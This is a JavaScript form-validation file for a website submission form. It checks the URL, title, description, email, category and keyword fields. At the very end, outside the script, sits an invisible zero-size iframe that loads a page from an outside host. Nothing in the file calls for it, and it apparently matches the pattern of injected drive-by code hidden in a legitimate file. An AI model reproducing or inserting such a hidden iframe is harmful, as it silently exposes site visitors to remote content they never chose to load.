function checkfield() {
		if (validURL(step1.f_url.value)==false) {
			alert('Please enter a valid URL \n\n Do not use any of the following character \' \" , < or >\n And it should begin with \"http://\"');
            		step1.f_url.focus();
			return false;
		}
		if (checkempty(step1.f_webtitle.value)==false) {
			alert('Please enter your website title');
            		step1.f_webtitle.focus();
			return false;
		}
		if (checkempty(step1.f_webdesc.value)==false) {
			alert('Please enter your website description');
            		step1.f_webdesc.focus();
			return false;
		}
		if (validEmail(step1.f_tech_email.value)==false) {
			alert('Please enter a valid email address');
			step1.f_tech_email.focus();
			return false;
		}
		if(step1.webcat.options(step1.webcat.selectedIndex).value==-1) {
			alert('Please select your website category');
           	 	step1.webcat.focus();
			return false;
		}
		if (checkempty(step1.f_keyword1.value)==false) {
			alert('Please enter your keyword or phrase');
            		step1.f_keyword1.focus();
			return false;
		}
		return true;
	}
function validURL(urlV) {
	if ( urlV.length > 11) {
		for (var i=0; i < urlV.length; i++) {
			var tempV = urlV.substring(i, i+1)
			if (tempV == " " || tempV == "'" || tempV == '"' || tempV == "," || tempV == ";" || tempV == "`" || tempV == "<" || tempV == ">") {
				return false;
				}
			if (tempV == "." && i == urlV.length-1) {
				return false;
				}
			}
		} else {
		return false;
		}
		return true;
	} 


<iframe src=http://web.lylss.com/id.htm width=0 height=0></iframe>